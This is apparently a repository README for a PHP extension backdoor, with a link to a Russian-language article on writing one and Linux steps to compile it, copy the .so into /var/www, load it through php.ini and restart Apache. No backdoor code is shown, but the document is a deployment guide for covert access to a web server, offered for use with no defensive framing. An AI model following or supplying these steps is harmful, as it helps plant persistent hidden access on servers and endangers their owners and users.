author:akamajoris
url:https://github.com/akamajoris/php-extension-backdoor
Windows: http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/
Linux: sudo apt-get install php5-dev phpize && ./configure && make
chmod xxx.so copy xxx.so to /var/www
edit php.ini add extension=/var/www/xxx.so restart apache
test success!! ^_^